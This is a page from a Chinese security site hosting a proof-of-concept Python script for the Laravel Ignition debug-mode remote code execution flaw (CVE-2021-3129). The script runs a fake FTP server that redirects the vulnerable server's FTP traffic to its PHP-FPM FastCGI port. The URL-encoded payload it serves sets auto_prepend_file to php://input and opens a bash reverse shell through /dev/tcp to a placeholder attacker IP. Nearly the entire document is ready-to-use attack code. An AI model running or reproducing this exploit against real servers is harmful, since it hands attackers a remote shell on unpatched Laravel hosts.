menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right POC chevron_right FTP Laravel 小于 8.4.2 Debug模式 _ignition 远程代码执行漏洞 CVE-2021-3129.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    FTP Laravel 小于 8.4.2 Debug模式 _ignition 远程代码执行漏洞 CVE-2021-3129.py
    2.91 KB / 2021-04-15 12:15:18
        # -*- coding: utf-8 -*-
    # @Time    : 2021/1/13 6:56 下午
    # @Author  : tntaxin
    # @File    : ftp_redirect.py
    # @Software:
    
    import socket
    from urllib.parse import unquote
    
    # 对gopherus生成的payload进行一次urldecode
    payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/xxx.xxx.xxx.xxx/9999%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
    payload = payload.encode('utf-8')
    
    host = '0.0.0.0'
    port = 23
    sk = socket.socket()
    sk.bind((host, port))
    sk.listen(5)
    
    # ftp被动模式的passvie port,监听到1234
    sk2 = socket.socket()
    sk2.bind((host, 1234))
    sk2.listen()
    
    # 计数器,用于区分是第几次ftp连接
    count = 1
    while 1:
        conn, address = sk.accept()
        conn.send(b"200 \n")
        print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
        if count == 1:
            conn.send(b"220 ready\n")
        else:
            conn.send(b"200 ready\n")
    
        print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
        if count == 1:
            conn.send(b"215 \n")
        else:
            conn.send(b"200 \n")
    
        print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
        if count == 1:
            conn.send(b"213 3 \n")  
        else:
            conn.send(b"300 \n")
    
        print(conn.recv(20))  # EPSV\r\n'
        conn.send(b"200 \n")
    
        print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
        if count == 1:
            conn.send(b"227 127,0,0,1,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
        else:
            conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则:35*256+40=9000
    
        print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
        if count == 1:
            conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
            # 新建一个socket给服务端返回我们的payload
            print("建立连接!")
            conn2, address2 = sk2.accept()
            conn2.send(payload)
            conn2.close()
            print("断开连接!")
        else:
            conn.send(b"150 \n")
            print(conn.recv(20))
            exit()
    
        # 第一次连接是下载文件,需要告诉客户端下载已经结束
        if count == 1:
            conn.send(b"226 \n")
        conn.close()
        count += 1
    
    links
    file_download